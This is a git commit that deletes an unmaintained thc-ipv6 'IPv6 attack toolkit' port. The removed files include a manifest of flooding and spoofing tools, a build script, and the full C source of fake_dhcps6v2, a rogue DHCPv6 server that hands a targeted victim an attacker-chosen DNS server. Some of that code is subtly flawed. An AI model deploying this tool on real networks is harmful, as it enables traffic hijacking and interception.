forked from ports/contrib
thc-ipv6: deleted unmaintained port
This commit is contained in:
parent
98089e9255
commit
9e57baaed4
@ -1,163 +0,0 @@
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drwxr-xr-x root/root usr/
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drwxr-xr-x root/root usr/bin/
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-rwxr-xr-x root/root usr/bin/6to4test.sh
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-rwxr-xr-x root/root usr/bin/address6
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-rwxr-xr-x root/root usr/bin/alive2map.sh
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-rwxr-xr-x root/root usr/bin/alive6
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-rwxr-xr-x root/root usr/bin/axfr-reverse.sh
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-rwxr-xr-x root/root usr/bin/axfr.sh
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-rwxr-xr-x root/root usr/bin/connect6
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-rwxr-xr-x root/root usr/bin/connsplit6
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-rwxr-xr-x root/root usr/bin/connsplit6.sh
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-rwxr-xr-x root/root usr/bin/covert_send6
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-rwxr-xr-x root/root usr/bin/covert_send6d
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-rwxr-xr-x root/root usr/bin/create_network_map.sh
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-rwxr-xr-x root/root usr/bin/denial6
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-rwxr-xr-x root/root usr/bin/detect-new-ip6
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-rwxr-xr-x root/root usr/bin/detect_sniffer6
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-rwxr-xr-x root/root usr/bin/dnsdict6
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-rwxr-xr-x root/root usr/bin/dnsrevenum6
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-rwxr-xr-x root/root usr/bin/dnsrevenum6.sh
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-rwxr-xr-x root/root usr/bin/dnssecwalk
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-rwxr-xr-x root/root usr/bin/dnssecwalk.sh
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-rwxr-xr-x root/root usr/bin/dos-new-ip6
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-rwxr-xr-x root/root usr/bin/dos_mld6.sh
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-rwxr-xr-x root/root usr/bin/dump_dhcp6
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-rwxr-xr-x root/root usr/bin/dump_router6
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-rwxr-xr-x root/root usr/bin/exploit6
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-rwxr-xr-x root/root usr/bin/extract_hosts6.sh
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-rwxr-xr-x root/root usr/bin/extract_networks6.sh
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-rwxr-xr-x root/root usr/bin/fake_advertise6
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-rwxr-xr-x root/root usr/bin/fake_dhcps6
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-rwxr-xr-x root/root usr/bin/fake_dhcps6v2
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-rwxr-xr-x root/root usr/bin/fake_dns6d
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-rwxr-xr-x root/root usr/bin/fake_dnsupdate6
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-rwxr-xr-x root/root usr/bin/fake_mipv6
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-rwxr-xr-x root/root usr/bin/fake_mld26
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-rwxr-xr-x root/root usr/bin/fake_mld6
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-rwxr-xr-x root/root usr/bin/fake_mldrouter6
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-rwxr-xr-x root/root usr/bin/fake_pim6
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-rwxr-xr-x root/root usr/bin/fake_router26
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-rwxr-xr-x root/root usr/bin/fake_router6
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-rwxr-xr-x root/root usr/bin/fake_solicitate6
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-rwxr-xr-x root/root usr/bin/firewall6
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-rwxr-xr-x root/root usr/bin/flood_advertise6
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-rwxr-xr-x root/root usr/bin/flood_dhcpc6
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-rwxr-xr-x root/root usr/bin/flood_mld26
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-rwxr-xr-x root/root usr/bin/flood_mld6
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-rwxr-xr-x root/root usr/bin/flood_mldrouter6
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-rwxr-xr-x root/root usr/bin/flood_redir6
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-rwxr-xr-x root/root usr/bin/flood_router26
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-rwxr-xr-x root/root usr/bin/flood_router6
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-rwxr-xr-x root/root usr/bin/flood_rs6
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-rwxr-xr-x root/root usr/bin/flood_solicitate6
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-rwxr-xr-x root/root usr/bin/flood_unreach6
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-rwxr-xr-x root/root usr/bin/four2six
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-rwxr-xr-x root/root usr/bin/fragmentation6
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-rwxr-xr-x root/root usr/bin/fragrouter6
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-rwxr-xr-x root/root usr/bin/fragrouter6.sh
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-rwxr-xr-x root/root usr/bin/fuzz_dhcpc6
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-rwxr-xr-x root/root usr/bin/fuzz_dhcps6
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-rwxr-xr-x root/root usr/bin/fuzz_ip6
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-rwxr-xr-x root/root usr/bin/grep6.pl
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-rwxr-xr-x root/root usr/bin/host_scan
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-rwxr-xr-x root/root usr/bin/implementation6
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-rwxr-xr-x root/root usr/bin/implementation6d
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-rwxr-xr-x root/root usr/bin/inject_alive6
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-rwxr-xr-x root/root usr/bin/inverse_lookup6
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-rwxr-xr-x root/root usr/bin/kill_router6
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-rwxr-xr-x root/root usr/bin/local_discovery6.sh
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-rwxr-xr-x root/root usr/bin/ndpexhaust26
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-rwxr-xr-x root/root usr/bin/ndpexhaust6
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-rwxr-xr-x root/root usr/bin/node_query6
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-rwxr-xr-x root/root usr/bin/parasite6
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-rwxr-xr-x root/root usr/bin/passive_discovery6
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-rwxr-xr-x root/root usr/bin/randicmp6
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-rwxr-xr-x root/root usr/bin/redir6
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-rwxr-xr-x root/root usr/bin/redirsniff6
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-rwxr-xr-x root/root usr/bin/rsmurf6
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-rwxr-xr-x root/root usr/bin/sendpees6
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-rwxr-xr-x root/root usr/bin/sendpeesmp6
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-rwxr-xr-x root/root usr/bin/six2four.sh
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-rwxr-xr-x root/root usr/bin/smurf6
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-rwxr-xr-x root/root usr/bin/spoofer
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-rwxr-xr-x root/root usr/bin/thc-ipv6-setup.sh
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-rwxr-xr-x root/root usr/bin/thcping6
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-rwxr-xr-x root/root usr/bin/thcsyn6
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-rwxr-xr-x root/root usr/bin/toobig6
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-rwxr-xr-x root/root usr/bin/toobigsniff6
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-rwxr-xr-x root/root usr/bin/trace6
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-rwxr-xr-x root/root usr/bin/trace62list.sh
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drwxr-xr-x root/root usr/share/
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drwxr-xr-x root/root usr/share/man/
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drwxr-xr-x root/root usr/share/man/man8/
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-rw-r--r-- root/root usr/share/man/man8/address6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/alive6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/connect6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/connsplit6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/covert_send6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/covert_send6d.8.gz
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-rw-r--r-- root/root usr/share/man/man8/denial6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/detect-new-ip6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/detect_sniffer6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/dnsdict6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/dnsrevenum6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/dnssecwalk.8.gz
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-rw-r--r-- root/root usr/share/man/man8/dos-new-ip6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/dump_dhcp6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/dump_router6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/exploit6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fake_advertise6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fake_dhcps6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fake_dhcps6v2.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fake_dns6d.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fake_dnsupdate6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fake_mipv6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fake_mld26.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fake_mld6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fake_mldrouter6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fake_pim6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fake_router26.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fake_router6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fake_solicitate6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/firewall6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/flood_advertise6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/flood_dhcpc6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/flood_mld26.8.gz
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-rw-r--r-- root/root usr/share/man/man8/flood_mld6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/flood_mldrouter6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/flood_redir6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/flood_router26.8.gz
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-rw-r--r-- root/root usr/share/man/man8/flood_router6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/flood_rs6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/flood_solicitate6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/flood_unreach6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/four2six.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fragmentation6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fragrouter6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fuzz_dhcpc6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fuzz_dhcps6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/fuzz_ip6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/implementation6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/implementation6d.8.gz
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-rw-r--r-- root/root usr/share/man/man8/inject_alive6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/inverse_lookup6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/kill_router6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/ndpexhaust26.8.gz
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-rw-r--r-- root/root usr/share/man/man8/ndpexhaust6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/node_query6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/parasite6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/passive_discovery6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/randicmp6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/redir6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/redirsniff6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/rsmurf6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/sendpees6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/sendpeesmp6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/smurf6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/thc-ipv6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/thcping6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/thcsyn6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/toobig6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/toobigsniff6.8.gz
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-rw-r--r-- root/root usr/share/man/man8/trace6.8.gz
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@ -1,6 +0,0 @@
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untrusted comment: verify with /etc/ports/contrib.pub
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RWSagIOpLGJF37RohuasuM4oGxXowUqmmD5dMe0mFmMPutbGbJQlkQRHcU6w2NpFlV4cR22kB+oSHVJAjdPfbSO4imLbiTub5w4=
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SHA256 (Pkgfile) = f454f1ae8841758f1ec34f9ed2d56e75eb7ce1a3d80941cba0a1aa0552571c64
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SHA256 (.footprint) = 7fdec22adac9330e3f7181fac3abb2e70f2333723363ce11fbfbfdd9739a80f3
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SHA256 (thc-ipv6-3.8.tar.gz) = b60be61a8b0a944a66e3b719704b4c03c1bc2c22f32d5d21e99e434c82a9d769
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SHA256 (fake_dhcps6v2.c) = 22aece1f21de88bd6d6bc0f866e0c1f8c65dd26d6b20f0b698f58a8fc7248cd6
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@ -1,32 +0,0 @@
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# Description: IPv6 attack toolkit
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# URL: https://github.com/vanhauser-thc/thc-ipv6
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# Maintainer: UNMAINTAINED
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# Depends on: bindutils libnetfilter_queue libpcap
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name=thc-ipv6
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version=3.8
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release=1
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source=(https://github.com/vanhauser-thc/$name/archive/v$version/$name-$version.tar.gz
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fake_dhcps6v2.c)
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build() {
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cd $name-$version
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# remove default optimization flags
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sed -i 's,CFLAGS+=-g -O3 -march=native,CFLAGS+=,' Makefile
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# According to this thread
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# https://github.com/vanhauser-thc/thc-ipv6/pull/18
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# van Hauser has a sane reasons to decline this PR.
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# And at the same time, since this patch is very handyful,
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# we may include it as a separate tool.
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cp $SRC/fake_dhcps6v2.c .
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sed -i 's/fake_dhcps6 /fake_dhcps6 fake_dhcps6v2 /' Makefile
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make
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make PREFIX=/usr DESTDIR=$PKG install
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(cd contrib;
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make
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make PREFIX=/usr DESTDIR=$PKG install)
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}
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@ -1,415 +0,0 @@
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/*
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* Fake DHCPv6v2 :D
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*
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* On a LAN it's best to be able to target the attack on a specific IP.
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* If you want to attack all victims, use "any".
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*
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* According to this thread https://github.com/vanhauser-thc/thc-ipv6/pull/18
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* van Hauser has sane reasons to decline this patch.
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*
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* But ... since this patch is very handyful, we include it into a separate
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* tool (to not break backward compatibility).
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <sys/types.h>
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#include <sys/time.h>
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#include <sys/resource.h>
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#include <sys/wait.h>
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#include <time.h>
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#include <pcap.h>
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#include <netinet/in.h>
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#include <sys/select.h>
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#include "thc-ipv6.h"
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void help(char *prg) {
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printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
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printf(
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"Syntax: %s interface network-address/prefix-length dns-server "
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"[<victim-address|any> [dhcp-server-ip-address [mac-address]]]\n\n",
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prg);
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printf(
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"Fake DHCPv6 server. Use to configure an address and set a DNS server\n");
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exit(-1);
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}
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int main(int argc, char *argv[]) {
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char * routerip, *interface, mac[16] = "";
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char rdatabuf[1024], wdatabuf[1024], cmsgbuf[1024], mybuf[1024];
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unsigned char *victimip6, *routerip6, *mac6 = mac, *ip6, *ptr, *ptr1, *ptr2, *ptr3, *any = "any";
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unsigned char *dns;
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int size, fromlen = 0, /*mtu = 1500, */ i, j, k, l, m, s, len, t, mlen,
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csize = 0;
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static struct iovec iov;
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struct sockaddr_storage from;
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struct msghdr mhdr;
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struct sockaddr_in6 ddst;
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unsigned long long int count = 0;
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if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]);
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if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL)
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printf("WARNING: %s is not working with injection!\n", argv[0]);
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if (strcmp(argv[1], "-r") == 0) { // is ignored
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argv++;
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argc--;
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}
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memset(mac, 0, sizeof(mac));
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interface = argv[1];
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if (thc_get_own_mac(interface) == NULL) {
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fprintf(stderr, "Error: invalid interface %s\n", interface);
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exit(-1);
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}
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if (argc >= 5 && argv[4] != NULL)
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victimip6 = argv[4];
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else
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victimip6 = NULL;
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if (argv >= 7 && (ptr = argv[6]) != NULL)
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sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0],
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(unsigned int *)&mac[1], (unsigned int *)&mac[2],
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(unsigned int *)&mac[3], (unsigned int *)&mac[4],
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(unsigned int *)&mac[5]);
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else
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mac6 = thc_get_own_mac(interface);
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if (argc >= 6 && argv[5] != NULL)
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ip6 = thc_resolve6(argv[5]);
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else
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ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
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|
||||
if (argc >= 4 && argv[3] != NULL)
|
||||
dns = thc_resolve6(argv[3]);
|
||||
else
|
||||
dns = thc_resolve6("ff02::fb");
|
||||
|
||||
routerip = argv[2];
|
||||
if ((ptr = index(routerip, '/')) == NULL) {
|
||||
printf(
|
||||
"Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. "
|
||||
"ff80::01/16\n");
|
||||
exit(-1);
|
||||
}
|
||||
*ptr++ = 0;
|
||||
size = atoi(ptr);
|
||||
|
||||
routerip6 = thc_resolve6(routerip);
|
||||
|
||||
if (routerip6 == NULL || size < 1 || size > 128) {
|
||||
fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n",
|
||||
argv[2]);
|
||||
exit(-1);
|
||||
}
|
||||
if (size < 64) {
|
||||
fprintf(
|
||||
stderr,
|
||||
"Warning: network prefix must be a minimum of /64, resizing to /64\n");
|
||||
size = 64;
|
||||
}
|
||||
if (size % 8 > 0) {
|
||||
size = ((size / 8) + 1) * 8;
|
||||
fprintf(stderr,
|
||||
"Warning: prefix must be a multiple of 8, resizing to /%d\n",
|
||||
csize * 8);
|
||||
}
|
||||
csize = 8 - ((size - 64) / 8);
|
||||
if (dns == NULL) {
|
||||
fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[3]);
|
||||
exit(-1);
|
||||
}
|
||||
if (ip6 == NULL) {
|
||||
fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[4]);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
/*
|
||||
if (mtu < 1 || mtu > 65536) {
|
||||
fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[5]);
|
||||
exit(-1);
|
||||
}
|
||||
if (mtu < 1228 || mtu > 1500)
|
||||
fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are
|
||||
doing :%d\n", mtu);
|
||||
*/
|
||||
if (mac6 == NULL) {
|
||||
fprintf(stderr, "Error: mac address in invalid\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
if ((s = thc_bind_udp_port(547)) < 0) {
|
||||
fprintf(stderr, "Error: could not bind to 547/udp\n");
|
||||
exit(-1);
|
||||
}
|
||||
if (thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:2")) <
|
||||
0 ||
|
||||
thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:3")) <
|
||||
0) {
|
||||
fprintf(stderr, "Error: could not bind multicast address\n");
|
||||
exit(-1);
|
||||
}
|
||||
if ((t = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) {
|
||||
perror("Error:");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(mybuf, 0, sizeof(mybuf));
|
||||
mybuf[1] = 2;
|
||||
mybuf[3] = 14;
|
||||
mybuf[5] = 1;
|
||||
mybuf[7] = 1;
|
||||
// mybuf + 8 == time
|
||||
memcpy(mybuf + 12, mac6, 6);
|
||||
mlen = 18;
|
||||
mybuf[mlen + 1] = 23;
|
||||
mybuf[mlen + 3] = 16;
|
||||
memcpy(mybuf + mlen + 4, dns, 16);
|
||||
mlen += 20;
|
||||
|
||||
printf(
|
||||
"Starting to fake dhcp6 server on %s for %s (Press Control-C to end) "
|
||||
"...\n\n",
|
||||
interface, argv[2]);
|
||||
while (1) {
|
||||
memset((char *)&from, 0, sizeof(from));
|
||||
memset(&iov, 0, sizeof(iov));
|
||||
memset(&mhdr, 0, sizeof(mhdr));
|
||||
iov.iov_base = rdatabuf;
|
||||
iov.iov_len = sizeof(rdatabuf);
|
||||
mhdr.msg_name = &from;
|
||||
mhdr.msg_namelen = sizeof(from);
|
||||
mhdr.msg_iov = &iov;
|
||||
mhdr.msg_iovlen = 1;
|
||||
mhdr.msg_control = (caddr_t)cmsgbuf;
|
||||
mhdr.msg_controllen = sizeof(cmsgbuf);
|
||||
if ((len = recvmsg(s, &mhdr, 0)) > 0) {
|
||||
fromlen = mhdr.msg_namelen;
|
||||
if (debug) thc_dump_data(rdatabuf, len, "Received Packet");
|
||||
ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr;
|
||||
ptr2 = thc_ipv62notation((char *)&ddst.sin6_addr);
|
||||
switch (rdatabuf[0]) {
|
||||
case 1:
|
||||
ptr1 = "Solicitate";
|
||||
break;
|
||||
case 2:
|
||||
ptr1 = "Advertise (illegal, ignored)";
|
||||
break;
|
||||
case 3:
|
||||
ptr1 = "Request";
|
||||
break;
|
||||
case 4:
|
||||
ptr1 = "Confirm";
|
||||
break;
|
||||
case 5:
|
||||
ptr1 = "Renew";
|
||||
break;
|
||||
case 6:
|
||||
ptr1 = "Rebind";
|
||||
break;
|
||||
case 7:
|
||||
ptr1 = "Reply (illegal, ignored)";
|
||||
break;
|
||||
case 8:
|
||||
ptr1 = "Release (ignored)";
|
||||
break;
|
||||
case 9:
|
||||
ptr1 = "Decline (ignored)";
|
||||
break;
|
||||
case 10:
|
||||
ptr1 = "Reconfigure (illegal, ignored)";
|
||||
break;
|
||||
case 11:
|
||||
ptr1 = "Information Request (ignored)";
|
||||
break;
|
||||
case 12:
|
||||
ptr1 = "Relay Forward (ignored)";
|
||||
break;
|
||||
case 13:
|
||||
ptr1 = "Relay Reply (ignored)";
|
||||
break;
|
||||
default:
|
||||
ptr1 = "Unknown (ignored)";
|
||||
break;
|
||||
}
|
||||
printf("Received DHCP6 %s packet from %s\n", ptr1, ptr2);
|
||||
if (victimip6 == NULL || strcmp(any, victimip6) == 0)
|
||||
printf("Warning: attacking all IPs, this is not safe\n");
|
||||
else {
|
||||
if (strcmp(ptr2, victimip6) != 0) {
|
||||
printf("Packet ignored, not our victim\n");
|
||||
free(ptr2);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
free(ptr2);
|
||||
if (rdatabuf[0] >= 1 && rdatabuf[0] < 7 && rdatabuf[0] != 2) {
|
||||
memset(wdatabuf, 0, sizeof(wdatabuf));
|
||||
memcpy(wdatabuf + 1, rdatabuf + 1, 3);
|
||||
i = j = 4;
|
||||
k = -1;
|
||||
if (rdatabuf[0] == 1) { // initial request
|
||||
wdatabuf[0] = 2;
|
||||
while ((j + 4) < len) {
|
||||
l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3];
|
||||
if (l + j + 4 > len) {
|
||||
l = 0;
|
||||
j = len;
|
||||
printf("Info: received evil packet\n");
|
||||
} else {
|
||||
if (rdatabuf[j + 1] == 1) {
|
||||
memcpy(wdatabuf + i, rdatabuf + j, l + 4);
|
||||
i += l + 4;
|
||||
} else if (rdatabuf[j + 1] == 3) {
|
||||
k = j; // just set a pointer
|
||||
}
|
||||
j += l + 4;
|
||||
}
|
||||
}
|
||||
// add 02, 23
|
||||
j = time(NULL);
|
||||
memcpy(mybuf + 8, (char *)&j + _TAKE4, 4);
|
||||
memcpy(wdatabuf + i, mybuf, mlen);
|
||||
i += mlen;
|
||||
// now expand 3
|
||||
if (k > -1 && rdatabuf[k + 3] == 12 &&
|
||||
rdatabuf[k + 2] == 0) { // copy structure
|
||||
memcpy(wdatabuf + i, rdatabuf + k, 16);
|
||||
} else { // or create new
|
||||
wdatabuf[i + 1] = 3;
|
||||
memcpy(wdatabuf + i + 4, (char *)&j + _TAKE4,
|
||||
4); // copy time as IAID
|
||||
}
|
||||
wdatabuf[i + 3] = 40;
|
||||
memset(wdatabuf + i + 8, 0, 8);
|
||||
wdatabuf[i + 10] = 0x7f;
|
||||
wdatabuf[i + 14] = 0xfe;
|
||||
i += 16;
|
||||
wdatabuf[i + 1] = 5;
|
||||
wdatabuf[i + 3] = 24;
|
||||
memcpy(wdatabuf + i + 4, routerip6, 16); // address
|
||||
count++;
|
||||
if (csize > 0)
|
||||
memcpy(wdatabuf + i + 4 + 16 - csize, (char *)&count,
|
||||
csize); // counter
|
||||
ptr3 = thc_ipv62notation(wdatabuf + i + 4);
|
||||
wdatabuf[i + 21] = 2;
|
||||
wdatabuf[i + 25] = 2;
|
||||
i += 28;
|
||||
} else {
|
||||
wdatabuf[0] = 7;
|
||||
m = 0;
|
||||
while ((j + 4) < len) {
|
||||
l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3];
|
||||
if (l + j + 4 > len) {
|
||||
l = 0;
|
||||
j = len;
|
||||
printf("Info: received evil packet\n");
|
||||
} else { // just copy types 1-3 and 23
|
||||
if ((rdatabuf[j + 1] >= 1 && rdatabuf[j + 1] <= 3) ||
|
||||
rdatabuf[j + 1] == 23) {
|
||||
memcpy(wdatabuf + i, rdatabuf + j, l + 4);
|
||||
i += l + 4;
|
||||
if (rdatabuf[j + 1] == 23) k = 1;
|
||||
if (rdatabuf[j + 1] == 3) m = 1;
|
||||
}
|
||||
j += l + 4;
|
||||
}
|
||||
}
|
||||
if (k == -1) {
|
||||
memcpy(wdatabuf + i, mybuf + 18, 20);
|
||||
i += 20;
|
||||
}
|
||||
}
|
||||
len = i;
|
||||
if (debug) thc_dump_data(wdatabuf, len, "Reply Packet");
|
||||
ddst.sin6_family = AF_INET6;
|
||||
ddst.sin6_port = htons(546);
|
||||
// ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr;
|
||||
ddst.sin6_scope_id =
|
||||
((struct sockaddr_in6 *)mhdr.msg_name)->sin6_scope_id;
|
||||
if (sendto(t, wdatabuf, len, 0, (struct sockaddr *)&ddst,
|
||||
sizeof(ddst)) < 0)
|
||||
perror("Error:");
|
||||
else {
|
||||
ptr2 = thc_ipv62notation((char *)&ddst.sin6_addr);
|
||||
if (wdatabuf[0] == 2) {
|
||||
printf("Sent DHCP6 Advertise packet to %s (offer: %s)\n", ptr2,
|
||||
ptr3);
|
||||
free(ptr3);
|
||||
} else if (m)
|
||||
printf("Sent DHCP6 Reply packet to %s (address accepted)\n", ptr2);
|
||||
else
|
||||
printf("Sent DHCP6 Reply packet to %s (did not set address)\n",
|
||||
ptr2);
|
||||
free(ptr2);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* packet structure:
|
||||
1 byte = type
|
||||
3 bytes = sessionid
|
||||
while(packet data) {
|
||||
2 bytes = type
|
||||
2 bytes = length in bytes of following data
|
||||
... defined fixed length data ...
|
||||
}
|
||||
|
||||
server listen on ff02::1:2 udp 547
|
||||
client connects from linklocal port 546, ttl 1
|
||||
01 = solicit
|
||||
3 bytes = sessionid
|
||||
6 bytes = blog (elapsed, 8)
|
||||
8 bytes = 01 blob (client id + time + mac)
|
||||
4 bytes = time
|
||||
6 bytes = mac
|
||||
16 bytes = 03 blob (want perm address)
|
||||
5 + length + hostname = hostname
|
||||
18 bytes = blob (vendor class, type 16)
|
||||
12 bytes = blob (requested options, type 6)
|
||||
server sends to linklocal (respect client port), ttl 1
|
||||
02 = advertise
|
||||
3 bytes = sessionid (copy)
|
||||
18 bytes = 01 blob (client copy of client-id)
|
||||
8 bytes = 02 blob (server id + time + mac)
|
||||
4 bytes = time
|
||||
6 bytes = mac
|
||||
0003 = give perm address
|
||||
2 bytes = length
|
||||
4 bytes = IAID (from client request!)
|
||||
4 bytes = validity time 1 (1800)
|
||||
4 bytes = validity time 2 (2880)
|
||||
0005 = address structure
|
||||
2 bytes = length (24 bytes)
|
||||
16 bytes = address
|
||||
4 bytes = validity time (3600)
|
||||
4 byte = validity time (same)
|
||||
0023 = dns option
|
||||
2 bytes = length (16 bytes)
|
||||
16 bytes = dns server address
|
||||
client sends to ff02::1:2 !
|
||||
03 = request
|
||||
3 bytes = sessionid
|
||||
6 bytes = blog (elapsed, 8)
|
||||
8 bytes = 01 blob (client id + time + mac)
|
||||
4 bytes = time
|
||||
6 bytes = mac
|
||||
18 bytes = client (again)
|
||||
18 bytes = server (copy)
|
||||
44 bytes = address (copy)
|
||||
5 + length + hostname = hostname (again)
|
||||
18 bytes = blob again (vendor class, type 16)
|
||||
12 bytes = blob again (requested options, type 6)
|
||||
server replies
|
||||
7 = reply
|
||||
copy original advertise packet :-)
|
||||
*/
|
||||
|
||||
return 0; // never reached
|
||||
}
|
||||
Loading…
x
Reference in New Issue
Block a user